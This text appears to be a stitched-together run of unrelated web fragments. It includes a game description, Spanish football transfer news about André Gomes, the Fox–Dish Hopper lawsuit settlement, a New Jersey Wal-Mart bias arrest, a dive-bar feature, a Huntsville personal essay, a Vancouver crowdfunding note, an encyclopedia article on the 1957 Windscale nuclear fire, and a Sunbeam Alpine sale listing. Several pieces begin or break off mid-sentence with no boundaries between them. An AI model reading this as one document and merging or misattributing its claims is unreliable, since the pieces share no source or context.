The objective in each level is to defeat all the enemy bugs or to conquer the food objective. All levels have a time limit in which the puzzle must be solved. After each level you will have the option of inspecting the battlefield or depending upon whether you won or not, moving onward or repeating the battle. After a level is won, you will be rewarded with a victory celebration. Continue to win battles and you will be honoured by Queen Elizabug herself!
Links
Rating
What do you think of this game? Please rate it below on a scale of 1 to 10, where 1 is the lowest and 10 is the highest score.BARCELONA
Barcelona 08:23h CEST
De un año a esta parte, la cotización de André Gomes pudo devaluarse bastante. Posiblemente, primero impresionado en el arranque de su aventura azulgrana y luego visiblemente afectado ante la falta de aclimatación al juego del equipo, el portugués pudo acabar la pasada temporada con una media sonrisa (alzando la Copa), pero consciente de que debe mejorar mucho si quiere no ser cortado por el club azulgrana. Dependiendo de lo que haga con la selección portuguesa en la Copa Confederaciones, el medio azulgrana se incorporará antes o después al primer proyecto de Ernesto Valverde. Éste lo quiere en el equipo, aunque deberá cumplir con lo esperado por el entrenador para no encontrase con problemas.
André Gomes costó un potosí. 35 millones de euros (más variables) de una tacada para un medio que tuvo buenas actuaciones en Mestalla cuando lo firmó el Valencia, aunque desde su antiguo club siempre avisaron de su “intermitencia” y sus “idas y venidas” en los partidos que no fueran catalogados como “importantes”. Pese a su irregularidad el anterior curso (30 partidos de Liga, 1.590 minutos), antiguos pretendientes no cerraron del todo su carpeta. Manchester United y Juventus siguen atentos a ver qué sucederá con el portugués en caso de que el Barça decida no contar más con él y entonces moverían ficha para tratar de ficharlo un año después. En el Camp Nou valorarían recuperar la inversión, aunque eso parece a día de hoy bastante complicado.
Los ingleses, con José Mourinho dirigiendo las operaciones, siempre estuvieron dispuestos a apostar por él. Lo mismo que la Juventus de Turín, que ahora hace un año se quedaron congelados cuando supieron que el Barça, finalmente, era el destino del centrocampista, petición a la par entre Luis Enrique y Robert Fernández, secretario técnico del club. Tanto ingleses como italianos presentaron a Jorge Mendes ofertas “más que interesantes”, aunque finalmente el representante decidió que la puerta que debía abrirse era la del Camp Nou. André Gomes ahora no quiere que esta se cierre, claro. Cuenta con la bendición de Valverde, pero si no lo convence, todo es posible.Fox Broadcasting and Dish Network have finally come to an agreement to settle a bitter lawsuit over the ad-skipping, place-shifting Hopper.
On Wednesday, court papers were filed stipulating to a dismissal, marking the end of a legal battle that has lasted nearly four years and resulted in judicial guidance on newer uses of copyrighted programming. Although neither Fox nor Dish have revealed the full terms of their deal, the agreement also potentially signals a bigger breakthrough in renewal of a carriage agreement. But the parties aren't yet commenting on that.
Asked about the filing, Fox confirmed the deal would resolve all disputes over Slingbox technology and the AutoHop. A spokesperson added, "As part of the settlement, Dish's AutoHop commercial-skipping functionality will not be available for owned and affiliated Fox stations until seven days after a program first airs."
In 2012, Fox was among several big broadcasters that went to court to stop what it saw as an unlicensed video-on-demand service thanks to Hopper's massive storage capacity and ability to skip ads.
Disney settled in March 2014, CBS made its deal in December 2014, but the Fox-Dish dispute lingered on.
The case went all the way up to the 9th Circuit Court of Appeals, which affirmed a denial of an injunction. Back at the district court, Dish scored many victories on the copyright front while losing some on the contract end.
The parties neared a trial, but agreed to pause the litigation in January 2015. At the time, the parties had come to a carriage deal concerning Fox News and told the judge that it was highly likely that negotiations of the renewal of their 2010 carriage agreement for the broadcast network would resolve the lawsuit. Such license negotiations precipitated deals between Dish and the other broadcasters.
Nevertheless, it took more than a year to come an agreement. The deal cancels a trial that was scheduled to happen in September.(CNN) -- Police in New Jersey arrested a teenager in connection with a public-address-system announcement telling "all blacks" to leave a Wal-Mart store, a police spokesman said.
The 16-year-old boy is from Atlantic County, New Jersey, said deputy police chief John Dalesandro of the Washington Township Police Department. The suspect was arrested Friday in Atlantic County on bias intimidation |
that have worked there for 20 years or more.” For many of the people Jewell served, she was the only person to whom they spoke every day. “You know you’re walking into a dive bar when the bartender’s actively talking to five people at the bar, who all know each other because they all come in all the time,” she says. Cities are changing fast. Keep up with the CityLab Daily newsletter. The best way to follow issues you care about. Subscribe Loading... Still, Jewell thinks opening a dive bar from scratch is possible, if it’s an offshoot of established habits. She offers an example of a bar that opened in 2012 and felt like a dive bar because it attracted the regulars of the owner’s previous bar combined with those coming from another recently closed dive. “So the group of regulars stayed the same and already knew the owners,” she says. “That relationship was established.” In March, Seattle media reported that industry veteran Patric Gabre-Kidan would “open a dive bar,” the forthcoming New Luck Toy. Now, he distances himself from that phrasing, acknowledging that dive bars can’t be built, agreeing that it’s something that happens over time, and offering insight into why creating one would be so hard. Today’s dive bars put out grimy bowls of beer nuts and it’s cool, he says. “But you can’t do that in 2016. You can’t open an establishment, treat people badly, have bad drinks and shitty food, and expect people to think it’s cool and come back.” Jewell confirms this, acknowledging that “our consumer is more educated now than they’ve ever been. They’re expecting a higher quality of service. That’s not what a dive bar is about.” Customers expect more, but they don’t expect to pay steeper prices. Meinert’s list of dive bar characteristics includes “old people, cheap food, cheap drinks, and stiff drinks.” Part of the problem with opening a dive bar from scratch, adds Jewell, is that the restaurant industry is already so low profit—the expense of building out a space and building up a customer base makes dive bar pricing prohibitive. “You can’t have a dive bar where you’re charging seven, eight, nine bucks a beer…You’ve got to have your $2 tall can,” she says. But, at $2 a drink, it’s hard to get a new place off the ground. So, instead, Gabre-Kidan focuses on what he considers the essence of a dive bar: “That they’re not pretentious. They’re just places that you go and get wasted. And nobody is judging you.” That lack of judgment comes from welcoming everyone. Meinert describes the clientele of the 5 Point as prostitutes and politicians, drug dealers and Amazon employees: “A mix of people you don’t see at most places…a mix most places don’t try to appeal to.” Gabre-Kidan hopes to create that environment, and hopes that it will eventually turn into a dive bar. Seely, who believes the title “dive bar” gets bestowed only with “time and chipped paint,” advises patience: “The bars that are ten years old today will be dive bars legitimately 20 years from now. You gotta let the paint chip a little bit, you gotta let your regulars get a little bit older. But pour good stiff drinks at a reasonable price, and you’ll get there.”HUNTSVILLE, Alabama -- It's that time of year. The moving vans are maneuvering the narrow streets downtown, and newcomers are unpacking. More than 30 years ago, I was one of them, unloading one household and setting up another.
Shortly after we settled in, I sat on a schoolyard bench while my daughter took her piano lesson across the street. While she practiced her scales, my son played on the jungle gym.
If a passerby had told me that very school -- East Clinton Elementary -- was about to be sold and the land beneath it made into upscale houses, I wouldn’t have cared. I was a newcomer, not really invested.
But now, more than three decades later, I am. I care what happens to schools and parks and neighborhoods and roads. I’m delighted that the WPA-built school will stand and a public park will circle it. I can still sit on that bench I found all those years ago.
I live here. I’ll stay here. It’s my home.
But anybody who’s lived in a place for a long time, still daydreams about moving somewhere else every now and then. Here in the northern kingdom of Alabama, who hasn’t wanted to pull the Gulf of Mexico up closer, like some kind of blue and green rug, so that a trip to the beach was a two hour jaunt instead of a six hour one? But my friends who moved to the beach came back. They didn’t know anybody, they said. People just drifted through.
And who hasn’t wished for Alabama’s summers to be cooler and its politics more progressive? My friends who moved to L.A. eventually returned, too. It was too busy, they said. Obviously, lots of people move and make new lives for themselves, but that takes time.
When I see a moving van, I think of just how much time it does take to feel rooted to a place and what you have to figure out once you move. I had to find out where to get a good haircut and where to go for a ladies-who-lunch. I had to find the best gym that allowed me to watch Jeopardy and shout out the wrong answers, all while walking on the treadmill.
As a newcomer, I found a church, a writing group, a hiking trail, and a place to buy a dress for a party. I found a doctor, a dentist, an organization, a group of pals.
Eventually, I figured it out. I learned the worst time to head up University Drive (that would be most times) and the place that sells the juiciest roast chicken. After a few years, the cashier at the grocery store told me not to buy cat food since my husband just had, and the woman at the dry cleaners joked about red wine stains on my napkins. Again. The man who ran the Subway near my office knew me as “tuna on whole wheat.”
Last year, driving by Maple Hill Cemetery, I realized how many funerals I’ve been to and how many weddings, too. I counted up how many springtimes I’ve watched the cherry trees bloom in Big Spring Park, first with my children, and now with my grandchildren.
I’d give this advice to the hundreds of newcomers who move here each year: You don’t have to be an engineer or a rocket scientist to live here. You don’t even have to be from this place. Most people aren’t. You just have to stick around long enough to have the right to complain about things and try to make them better. Then the town you moved to becomes the town you live in and you’re home.
Huntsville resident Beth Thames is a retired college English instructor and freelance writer. Contact her at bethmthames@gmail.com.A Vancouver entrepreneur is crowdfunding a week’s worth of meals for 150 women in need this Thanksgiving.
Ilya Brotzky is a 25-year-old Cornell graduate who founded tickett.co, a microfunding platform that allows anyone to directly donate to a member of their community. For this campaign, which lives on Tilt.com, Ilya partnered with Mark Brand Inc., creators of the Save on Meats token program that has fed over 27,000 people.
The goal over the next 8 days is to raise $2,362.50 in order to provide 150 meals to the Downtown Eastside Women’s Centre for a whole week. The DEWC Emergency Shelter is scrambling to feed the women who gather there to experience a sense of community, safety, and respect. It also provides basic necessities and much needed services to women in the Downtown Eastside.Windscale fire The Windscale Piles (centre and right) in 1985 Date 10 October 1957 Location Windscale, Seascale, Cumbria (now Sellafield) Coordinates Coordinates: Outcome INES Level 5 (accident with wider consequences) Non-fatal injuries Estimated 240 additional cases of thyroid cancer
The Windscale fire of 10 October 1957 was the worst nuclear accident in Great Britain's history, ranked in severity at level 5 out of a possible 7 on the International Nuclear Event Scale.[1] The fire took place in Unit 1 of the two-pile Windscale facility on the northwest coast of England in Cumberland (now Sellafield, Cumbria). The two graphite-moderated reactors, referred to at the time as "piles", had been built as part of the British post-war atomic bomb project. Windscale Pile No. 1 was operational in October 1950 followed by Pile No. 2 in June 1951.[2]
The fire burned for three days and there was a release of radioactive contamination that spread across the UK and Europe.[3] Of particular concern at the time was the radioactive isotope iodine-131, which may lead to cancer of the thyroid, and it has been estimated that the incident caused 240 additional cancer cases.[3] No one was evacuated from the surrounding area, but there was a worry that milk might be dangerously contaminated. Milk from about 500 square kilometres (190 sq mi) of nearby countryside was diluted and destroyed for about a month. A 2010 study of workers involved in the cleanup of the accident found no significant long term health effects from their involvement.[4][5]
Background [ edit ]
The December 1938 discovery of nuclear fission by Otto Hahn and Fritz Strassmann—and its explanation and naming by Lise Meitner and Otto Frisch—raised the possibility that an extremely powerful atomic bomb could be created. During the Second World War, Frisch and Rudolf Peierls at the University of Birmingham calculated the critical mass of a metallic sphere of pure uranium-235, and found that as little as 1 to 10 kilograms (2.2 to 22.0 lb) might explode with the power of thousands of tons of dynamite. In response, the British government initiated an atomic bomb project, codenamed Tube Alloys. The August 1943 Quebec Agreement merged Tube Alloys with the American Manhattan Project. As overall head of the British contribution to the Manhattan Project, James Chadwick forged a close and successful partnership with the Americans, and ensured that British participation was complete and wholehearted.
After the war ended the Special Relationship between Britain and the United States "became very much less special". The British government had trusted that America would continue to share nuclear technology, which it considered a joint discovery, but little information was exchanged immediately after the war, and the Atomic Energy Act of 1946 (McMahon Act) officially ended technical cooperation. Its control of "restricted data" prevented the United States' allies from receiving any information. The British government saw this as a resurgence of United States isolationism akin to that which had occurred after the First World War. This raised the possibility that Britain might have to fight an aggressor alone. It also feared that Britain might lose its great power status, and therefore its influence in world affairs, The Prime Minister of the United Kingdom, Clement Attlee, set up a cabinet sub-committee, the Gen 75 Committee (known informally as the "Atomic Bomb Committee"), on 10 August 1945 to examine the feasibility of a renewed nuclear weapons programme.
The Tube Alloys Directorate was transferred from the Department of Scientific and Industrial Research to the Ministry of Supply on 1 November 1945, and Lord Portal was appointed Controller of Production, Atomic Energy (CPAE), with direct access to the Prime Minister. An Atomic Energy Research Establishment (AERE) was established at RAF Harwell, south of Oxford, under the directorship of John Cockcroft. Christopher Hinton agreed to oversee the design, construction and operation of the new nuclear weapons facilities, which included a uranium metal plant at Springfields in Lancashire, and nuclear reactors and plutonium processing facilities at Windscale in Cumbria. He established his headquarters in a former Royal Ordnance Factory at Risley in Lancashire on 4 February 1946.
In July 1946, the Chiefs of Staff Committee recommended that Britain acquire nuclear weapons. They estimated that 200 bombs would be required by 1957. The 8 January 1947 meeting of the Gen 163 Committee, a subcommittee of the Gen 75 Committee, agreed to proceed with the development of atomic bombs, and endorsed Portal's proposal to place Penney, now the Chief Superintendent Armament Research (CSAR) at Fort Halstead in Kent, in charge of the development effort, which was codenamed High Explosive Research. Penney contended that "the discriminative test for a first-class power is whether it has made an atomic bomb and we have either got to pass the test or suffer a serious loss of prestige both inside this country and internationally."
Windscale Piles [ edit ]
The design of Windscale Pile No. 1, with one of the many fuel channels illustrated
Cutaway diagram of Windscale reactor
Through their participation in the wartime Tube Alloys and Manhattan Project, British scientists had considerable knowledge of the production of fissile materials. The Americans had created two kinds: uranium-235 and plutonium, and had pursued three different methods of uranium enrichment. An early decision had to be made as to whether High Explosive Research should concentrate on uranium-235 or plutonium. While everyone would have liked to pursue every avenue, like the Americans had, it was doubtful whether the cash-strapped post-war British economy could afford the money or the skilled manpower that this would require. The scientists who had remained in Britain favoured uranium-235, but those who had been working in America were strongly in favour of plutonium. They estimated that a uranium-235 bomb would require ten times the fissile material as one using plutonium to produce half the TNT equivalent. Estimates of the cost of nuclear reactors varied, but it was reckoned that a uranium enrichment plant would cost ten times as much to produce the same number of atomic bombs as a reactor. The decision was therefore taken in favour of plutonium.
The reactors were built in a short time near the village of Seascale, Cumberland. They were known as Windscale Pile 1 and Pile 2, housed in large concrete buildings a few hundred feet apart. The core of the reactors consisted of a large block of graphite with horizontal channels drilled through it for the fuel cartridges. Each cartridge consisted of a uranium rod about 30 centimetres (12 in) long encased in an aluminium canister to protect it from the air, as uranium becomes highly reactive when hot and can catch fire. The cartridge was finned, allowing heat exchange with the environment to cool the fuel rods while they were in the reactor. Rods were pushed in the front of the core, the "charge face", with new rods being added at a calculated rate. This pushed the other cartridges in the channel towards the rear of the reactor, eventually causing them to fall out the back, the "discharge face", into a water filled channel where they cooled and could be collected. The chain reaction in the core converted the uranium into a variety of isotopes, including some plutonium, which was separated from the other materials using chemical processing. As this plutonium was intended for weapons purposes, the burnup of the fuel would have been kept low to reduce production of the heavier plutonium isotopes like plutonium-240 and plutonium-241.
The design initially called for the core to be cooled like the B Reactor, which used a constant supply of water that poured through the channels in the graphite. There was considerable concern that such a system was subject to catastrophic failure in the event of a loss-of-coolant accident. This would cause the reactor to run out of control in seconds, potentially exploding. At Hanford, this possibility was dealt with by constructing a 30-mile (48-km) escape road to evacuate the staff were this to occur, abandoning the site. Lacking any location where a 30-mile area could be abandoned if a similar event were to occur in the UK, the designers desired a passively safe cooling system. In place of water, they used air cooling driven by convection through a 400-foot (120-m) tall chimney, which could create enough airflow to cool the reactor under normal operating conditions. The chimney was arranged so it pulled air through the channels in the core, cooling the fuel via fins on the cartridges. For additional cooling, huge fans were positioned in front of the core, which could greatly increase the airflow rate.
During construction, Terence Price, one of the many physicists working on the project, began to consider what would happen if one of the fuel cartridges being pushed out the back of the core were to break open. This could happen, for example, if a new cartridge being inserted was pushed too hard, causing the one at the back of the channel to fall past the relatively narrow water channel and strike the floor behind it. In that event, the hot uranium could catch fire, with the fine uranium oxide dust being blown up the chimney to escape. When he raised the issue at a meeting and suggested that filters be added to the chimneys, the concern was dismissed as being too difficult to deal with and was not even recorded in the minutes. Sir John Cockcroft, leading the project team, was alarmed enough to order that filters be installed, which required them to be constructed on the ground while the chimneys were still being built, and then winched into position at the top once the chimney's concrete had set. These became known as "Cockcroft's Folly" by workers and engineers.
In the end, Price's concerns came to pass. So many cartridges missed the water channel that it became routine for staff to walk through the chimney ductwork with shovels and scoop the cartridges back into the water. On other occasions, fuel cartridges became stuck in the channels and burst open while still in the core. In spite of these precautions and the stack filters, scientist Frank Leslie discovered radioactivity around the site and the village, but this information was kept secret, even from the staff at the station.[39]
Wigner energy [ edit ]
Once commissioned and settled into operations, Pile 2 experienced a mysterious rise in core temperature. Unlike the Americans and the Soviets, the British had little experience with the behaviour of graphite when exposed to neutrons. Hungarian-American physicist Eugene Wigner had discovered that graphite, when bombarded by neutrons, suffers dislocations in its crystalline structure, causing a build-up of potential energy. This energy, if allowed to accumulate, could escape spontaneously in a powerful rush of heat.
The sudden bursts of energy worried the operators, who turned to the only viable solution, heating the reactor core in a process known as annealing. When graphite is heated beyond 250 °C it becomes plastic, and the Wigner dislocations can relax into their natural state. This process was gradual and caused a uniform release which spread throughout the core.[40]
Tritium production [ edit ]
Winston Churchill publicly committed the UK to building a hydrogen bomb, and gave the scientists a tight schedule in which to do so. This was then hastened after the US and USSR began working on a test ban and possible disarmament agreements which would begin to take effect in 1958. To meet this deadline there was no chance of building a new reactor to produce the required tritium, so the Windscale Pile 1 fuel loads were modified by adding enriched uranium and lithium-magnesium, the latter of which would produce tritium during neutron bombardment. All of these materials were highly flammable, and a number of the Windscale staff raised the issue of the inherent dangers of the new fuel loads. These concerns were brushed aside.
When their first H-bomb test failed, the decision was made to build a large fusion-boosted-fission weapon instead. This required huge quantities of tritium, five times as much, and it had to be produced as rapidly as possible as the test deadlines approached. To boost the production rates, they used a trick that had been successful in increasing plutonium production in the past; by reducing the size of the cooling fins on the fuel cartridges, the temperature of the fuel loads increased, which caused a small but useful increase in neutron enrichment rates. This time they also took advantage of the smaller fins by building larger interiors in the cartridges, allowing more fuel in each one. These changes triggered further warnings from the technical staff, which were again brushed aside. Christopher Hinton, Windscale's director, left in frustration.
After a first successful production run of tritium in Pile 1, the heat problem was presumed to be negligible and full-scale production began. But by raising the temperature of the reactor beyond the design specifications, the scientists had altered the normal distribution of heat in the core, causing hot spots to develop in Pile 1. These were not detected because the thermocouples used to measure the core temperatures were positioned based on the original heat distribution design, and were not measuring the parts of the reactor which became hottest.
Accident [ edit ]
Ignition [ edit ]
On 7 October 1957 operators of Pile 1 noticed that the reactor was heating up more than normal, and a Wigner release was ordered. This had been carried out eight times in the past, and it was known that the cycle would cause the entire reactor core to heat up evenly. During this attempt the temperatures anomalously began falling across the reactor core, except in channel 2053, whose temperature was rising. Concluding that 2053 was releasing energy but none of the others were, on the morning of 8 October the decision was made to try a second Wigner release. This attempt caused the temperature of the entire reactor to rise, indicating a successful release.
Early in the morning of 10 October it was suspected that something unusual was going on. The temperature in the core was supposed to gradually fall as Wigner energy release ended, but the monitoring equipment showed something more ambiguous, and one thermocouple indicated that core temperature was instead rising. As this process continued, the temperature continued to rise and eventually reached 400 °C. In an effort to cool the pile, the cooling fans were sped up and airflow was increased. Radiation detectors in the chimney then indicated a release, and it was assumed that a cartridge had burst. This was not a fatal problem, and had happened in the past. However, unknown to the operators, the cartridge had not just burst, but caught fire, and this was the source of the anomalous heating in channel 2053, not a Wigner release.
Fire [ edit ]
Speeding up the fans increased the airflow in the channel, fanning the flames. The fire spread to surrounding fuel channels, and soon the radioactivity in the chimney was rapidly increasing. A foreman, arriving for work, noticed smoke coming out of the chimney. The core temperature continued to rise, and the operators began to suspect the core was on fire.
Operators tried to examine the pile with a remote scanner but it had jammed. Tom Hughes, second in command to the Reactor Manager, suggested examining the reactor personally and so he and another operator went to the charge face of the reactor, clad in protective gear. A fuel channel inspection plug was taken out close to a thermocouple registering high temperatures and it was then that the operators saw that the fuel was red hot.
"An inspection plug was taken out," said Tom Hughes in a later interview, "and we saw, to our complete horror, four channels of fuel glowing bright cherry red."
There was now no doubt that the reactor was on fire, and had been for almost 48 hours. Reactor Manager Tom Tuohy[49] donned full protective equipment and breathing apparatus and scaled the 80-foot (24-m) ladder to the top of the reactor building, where he stood atop the reactor lid to examine the rear of the reactor, the discharge face. Here he reported a dull red luminescence visible, lighting up the void between the back of the reactor and the rear containment. Red hot fuel cartridges were glowing in the fuel channels on the discharge face. He returned to the reactor upper containment several times throughout the incident, at the height of which a fierce conflagration was raging from the discharge face and playing on the back of the reinforced concrete containment — concrete whose specifications required that it be kept below a certain temperature to prevent its collapse.[50]
Initial fire fighting attempts [ edit ]
Operators were unsure what to do about the fire. First they tried to blow the flames out by running the fans at maximum speed, but this fed the flames. Tom Hughes and his colleague had already created a fire break by ejecting some undamaged fuel cartridges from around the blaze, and Tom Tuohy suggested trying to eject some from the heart of the fire by bludgeoning the melted cartridges through the reactor and into the cooling pond behind it with scaffolding poles. This proved impossible and the fuel rods refused to budge, no matter how much force was applied. The poles were withdrawn with their ends red hot; one returned dripping molten metal. Hughes knew this had to be molten irradiated uranium, causing serious radiation problems on the charge hoist itself.
"It [the exposed fuel channel] was white hot," said Hughes' colleague on the charge hoist with him, "it was just white hot. Nobody, I mean, nobody, can believe how hot it could possibly be."
Carbon dioxide [ edit ]
Next, the operators tried to extinguish the fire using carbon dioxide. The new gas-cooled Calder Hall reactors on the site had just received a delivery of 25 tonnes of liquid carbon dioxide and this was rigged up to the charge face of Windscale Pile 1, but there were problems getting it to the fire in useful quantities.
"So we got this rigged up," Tuohy recounted, "and we had this poor little tube of carbon dioxide and I had absolutely no hope it was going to work."
Use of water [ edit ]
On the morning of Friday 11 October, when the fire was at its worst, eleven tons of uranium were ablaze. Temperatures were becoming extreme (one thermocouple registered 1,300 °C) and the biological shield around the stricken reactor was now in severe danger of collapse. Faced with this crisis, Tuohy suggested using water. This was risky, as molten metal oxidises in contact with water, stripping oxygen from the water molecules and leaving free hydrogen, which could mix with incoming air and explode, tearing open the weakened containment. Faced with a lack of other options, the operators decided to go ahead with the plan.
About a dozen fire hoses were hauled to the charge face of the reactor; their nozzles were cut off and the lines themselves connected to scaffolding poles and fed into fuel channels about 1 metre (3 ft) above the heart of the fire. Tuohy once again hauled himself onto the reactor shielding and ordered the water to be turned on, listening carefully at the inspection holes for any sign of a hydrogen reaction as the pressure was increased. The water was unsuccessful in extinguishing the fire, requiring further measures to be taken.
Shutting off air [ edit ]
Tuohy then ordered everyone out of the reactor building except himself and the Fire Chief in order to shut off all cooling and ventilating air entering the reactor. Tuohy then climbed up several times and reported watching the flames leaping from the discharge face slowly dying away. During one of the inspections, he found that the inspection plates—which were removed with a metal hook to facilitate viewing of the discharge face of the core—were stuck fast. This, he reported, was due to the fire trying to suck air in from wherever it could.
"I have no doubt it was even sucking air in through the chimney at this point to try and maintain itself," he remarked in an interview.
Finally he managed to pull the inspection plate away and was greeted with the sight of the fire dying away.
"First the flames went, then the flames reduced and the glow began to die down," he described, "I went up to check several times until I was satisfied that the fire was out. I did stand to one side, sort of hopefully," he went on to say, "but if you're staring straight at the core of a shut down reactor you're going to get quite a bit of radiation." (Tuohy lived to the age of 90, despite his exposure.)
Water was kept flowing through the pile for a further 24 hours until it was completely cold.
The reactor tank itself has remained sealed since the accident and still contains about 15 tons of uranium fuel. It was thought that the remaining fuel could still reignite if disturbed, due to the presence of pyrophoric uranium hydride formed in the original water dousing.[52] Subsequent research, conducted as part of the decommissioning process, has ruled out this possibility.[53] The pile is not scheduled for final decommissioning until 2037.
Aftermath [ edit ]
Radioactive release [ edit ]
There was a release to atmosphere of radioactive material that spread across the UK and Europe.[3] The fire released an estimated 740 terabecquerels (20,000 curies) of iodine-131, as well as 22 TBq (594 curies) of caesium-137 and 12,000 TBq (324,000 curies) of xenon-133, among other radionuclides.[54] Later reworking of contamination data has shown national and international contamination may have been higher than previously estimated.[3] For comparison, the 1986 Chernobyl explosion released approximately 1,760,000 TBq of iodine-131; 79,500 TBq caesium-137; 6,500,000 TBq xenon-133; 80,000 TBq strontium-90; and 6100 TBq plutonium, along with about a dozen other radionuclides in large amounts.[54] The Three Mile Island accident in 1979 released 25 times more xenon-135 than Windscale, but much less iodine, caesium and strontium.[54] Estimates by the Norwegian Institute of Air Research indicate that atmospheric releases of xenon-133 by the Fukushima Daiichi nuclear disaster were broadly similar to those released at Chernobyl, and thus well above the Windscale fire releases.[55]
The presence of the chimney scrubbers at Windscale was credited with maintaining partial containment and thus minimizing the radioactive content of the smoke that poured from the chimney during the fire. These scrubbers were installed at great expense on the insistence of John Cockcroft and were known as Cockcroft's Folly until the 1957 fire.
Health effects [ edit ]
Of particular concern at the time was the radioactive isotope iodine-131, which has a half-life of only eight days but is taken up by the human body and stored in the thyroid. As a result, consumption of iodine-131 often leads to cancer of the thyroid. Estimates of additional cancer cases and mortality resulting from the radiological release have varied.[56]
No one was evacuated from the surrounding area, but there was concern that milk might be dangerously contaminated. Milk from about 500 km2 of nearby countryside was destroyed (diluted a thousandfold and dumped in the Irish Sea) for about a month. A 2010 study of workers directly involved in the cleanup—and thus expected to have seen the highest exposure rates—found no significant long term health effects from their involvement.[4][5]
Salvage operations [ edit ]
The reactor was unsalvageable; where possible, the fuel rods were removed, and the reactor bioshield was sealed and left intact. Approximately 6,700 fire-damaged fuel elements and 1,700 fire-damaged isotope cartridges remain in the pile. The damaged reactor core was still slightly warm as a result of continuing nuclear reactions. In 2000 it was estimated that the core still contained
1470 TBq (4.1 g) of tritium (half-life 12 years),
213 TBq (69 g) of caesium-137 (half-life 30 years),
189 TBq (37 g) each of strontium-90 (half-life 29 years) and its daughter yttrium-90,
9.12 TBq (4.0 kg) of plutonium-239 (half-life 24,100 years),
1.14 TBq (0.29 g) of plutonium-241 (half-life 14 years)
as well as smaller activities of other radionuclides.[57] Windscale Pile 2, though undamaged by the fire, was considered too unsafe for continued use. It was shut down shortly afterwards. No air-cooled reactors have been built since. The final removal of fuel from the damaged reactor was scheduled to begin in 2008 and to continue for a further four years.[53]
Inspections showed that there had not been a graphite fire, and the damage to the graphite was localised, caused by severely overheated uranium fuel assemblies nearby.[53]
Board of inquiry [ edit ]
A board of inquiry met under the chairmanship of Sir William Penney from 17 to 25 October 1957. The "Penney Report" was submitted to the Chairman of the United Kingdom Atomic Energy Authority and formed the basis of the Government White Paper submitted to Parliament in November 1957. In January 1988, it was released by the Public Record Office. In 1989, a revised transcript was released, following work to improve the transcription of the original recordings.[58][59]
Penney reported on 26 October 1957, 16 days after the fire was extinguished[60] and reached four conclusions:
The primary cause of the accident had been the second nuclear heating on 8 October, applied too soon and too rapidly.
Steps taken to deal with the accident, once discovered, were "prompt and efficient and displayed considerable devotion to duty on the part of all concerned".
Measures taken to deal with the consequences of the accident were adequate and there had been "no immediate damage to health of any of the public or of the workers at Windscale". It was most unlikely that any harmful effects would develop. But the report was very critical of technical and organisational deficiencies.
A more detailed technical assessment was needed, leading to organisational changes, clearer responsibilities for health and safety, and better definition of radiation dose limits.
Those who had been directly involved in the events were heartened by Penney's conclusion that the steps taken had been "prompt and efficient" and had "displayed considerable devotion to duty". Some considered that the determination and courage shown by Thomas Tuohy, and the critical role he played in the aversion of complete disaster, had not been properly recognised. Tuohy died on 12 March 2008, having never received any kind of public recognition for his decisive actions.[49] The Board of Inquiry's report concluded officially that the fire had been caused by "an error of judgment" by the same people who then risked their lives to contain the blaze. It was later suggested by the grandson of Harold Macmillan, Prime Minister at the time of the fire, that the US Congress might have vetoed plans of Macmillan and US president Dwight Eisenhower for joint nuclear weapons development if they had known that it was due to reckless decisions by the UK government, and that Macmillan had covered up what really happened. Tuohy said of the officials who told the US that his staff had caused the fire that "they were a shower of bastards".[61]
The Windscale site was decontaminated and is still in use. Part of the site was later renamed Sellafield after being transferred to BNFL, and the whole site is now owned by the Nuclear Decommissioning Authority.
Comparison with other accidents [ edit ]
The release of radiation by the Windscale fire was greatly exceeded by the Chernobyl disaster in 1986, but the fire has been described as the worst reactor accident until Three Mile Island in 1979. Epidemiological estimates put the number of additional cancers caused by the Three Mile Island accident at not more than one; only Chernobyl produced immediate casualties.[62]
Three Mile Island was a civilian reactor, and Chernobyl primarily so, both being used for electrical power production. By contrast, Windscale was used for purely military purposes.
The reactors at Three Mile Island, unlike those at Windscale and Chernobyl, were in buildings designed to contain radioactive materials released by a reactor accident.
Other military reactors have produced immediate, known casualties, such as the 1961 incident at the SL-1 plant in Idaho which killed three operators.
The accident at Windscale was also contemporary to the Kyshtym disaster, a far more serious accident, which occurred on 29 September 1957 at the Mayak plant in the Soviet Union, when the failure of the cooling system for a tank storing tens of thousands of tons of dissolved nuclear waste resulted in a non-nuclear explosion.
The Windscale fire was retrospectively graded as level 5, an accident with wider consequences, on the International Nuclear Event Scale.[1]
Irish sea contamination [ edit ]
In 1968 a paper was submitted to the journal Nature, on a study of radioisotopes found in oysters from the Irish Sea, using gamma spectroscopy. The oysters were found to contain 141Ce, 144Ce, 103Ru, 106Ru, 137Cs, 95Zr and 95Nb. In addition a zinc activation product (65Zn) was found; this is thought to be due to the corrosion of magnox fuel cladding in cooling ponds.[63] A number of harder-to-detect pure alpha and beta decaying radionuclides were also present, such as 90Sr and 239Pu, but these do not appear in gamma spectroscopy as they do not generate any appreciable gamma rays as they decay.
Television documentaries [ edit ]
In 1999, the BBC produced an educational documentary film about the fire as a 30-minute episode of "Disaster" (Series 3) entitled The Windscale Fire. It subsequently was released on DVD.[64]
In 2007, the BBC produced another documentary about the accident entitled "Windscale: Britain’s Biggest Nuclear Disaster",[58] which investigates the history of the first British nuclear facility and its role in the development of nuclear weapons. The documentary features interviews with key scientists and plant operators, such as Tom Tuohy, who was the deputy general manager of Windscale. The documentary suggests that the fire — the first fire in any nuclear facility — was caused by the relaxation of safety measures, as a result of pressure from the British government to quickly produce fissile materials for nuclear weapons.[65]
Isotope cartridges [ edit ]
The following substances were placed inside metal cartridges and subjected to neutron irradiation to create radioisotopes. Both the target material and some of the product isotopes are listed below. Of these, the polonium-210 release made the most significant contribution to the collective dose on the general population.[66]
Notes [ edit ]
References [ edit ]Inspired by the recent spate of demolition and repossession crews razing and ransacking the wrong houses, one proactive Michigan man whose home was slated to be torn down allegedly switched his address numbers with those of his neighbor, resulting in the house next door being |
, plug wires, and spark plugs have been replaced The original wheels were removed back in the day and American Racing Silverstone magnesium wheels were installed, even the spare wheel. It also has four original Koni shocks. A recent compression test measured: #1 175 #2 175 #3 175 #4 175. No front end or rear end damage, however, there are some noticeable dings and a few dents like the right left quarter panel, just ahead of the taillight. Both rear quarter panels have been re-sprayed. I was told by the former owner he had the rear wheel arches re-radiused, which necessitated re-spraying the rear quarter panels. The right door and part of the right front fender have also been re-sprayed. The hood, trunk lid, left front fender and hardtop have original paint. The trunk area and engine compartment have original paint. I purchased new rubber seals and Plexiglas windows for the hardtop. I have also purchased suspension bushings and front ball joints.
A Sunbeam Alpine with a 47 year first owner is certainly rare and this British sports car will deliver a lot of fun for the money!
